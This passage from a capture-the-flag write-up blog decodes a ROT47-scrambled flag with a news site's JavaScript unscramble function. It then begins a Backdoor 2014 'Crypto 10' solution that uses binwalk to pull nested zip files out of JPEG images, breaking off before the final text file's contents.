%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]

Googling a few of these fragments turns up a multitude of news articles using a “tncms” package. This is one such page. Examining the source we find similar gibberish in the body of the article:

 <div class="encrypted-content" style="display: none">
   <span class="paragraph4">
       kAm{2?5CF&gt; 6G6?EF2==J &gt;256 :E 9@&gt;6] qFE E96 7=28 96 96=A65 E@ D64C6E=J 4C62E6 2?5 =2E6C H2G65 :? 2? :4@?:4 A9@E@8C2A9 E2&lt;6? 2D 96 2?5 9:D 76==@H !~(D H6C6 =:36C2E65 @? pF8] ah[ `hcd[ G2?:D965 @G6C E:&gt;6]k^Am

We also find a link to a decrypt.js link in the body of the article. Near the bottom is the following function:

tncms.unscramble = function (sInput) {
    var sOutput = '';
    for (var i = 0, c = sInput.length; i < c; i++) {
        var nChar = sInput.charCodeAt(i);
        if (nChar >= 33 && nChar <= 126) {
            sTmp = String.fromCharCode(33 + (((nChar - 33) + 47) % 94));
            sOutput += sTmp
        } else {
            sOutput += sInput.charAt(i)
    return sOutput

No need to reverse-engineer this; we can simply use it in the javascript console to unscramble our string:

tncms.unscramble('%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]')
"The flag for this chal is :"Imperator Iulius Caesar Divus"."


Backdoor 2014 Writeups

07 Apr 2014

Crypto 10

[andrew@archa backdoor]$ binwalk -e crypto10.jpg 
0        0x0      JPEG image data, JFIF standard  1.01
40804    0x9F64   Zip archive data, name: "got2.jpg"  
73941    0x120D5  End of Zip archive
[andrew@archa _crypto10.jpg.extracted]$ binwalk -e got2.jpg 
0        0x0     JPEG image data, JFIF standard  1.02
33587    0x8333  Zip archive data, name: "txt.txt"  
33761    0x83E1  End of Zip archive
[andrew@archa _got2.jpg.extracted]$ cat txt.txt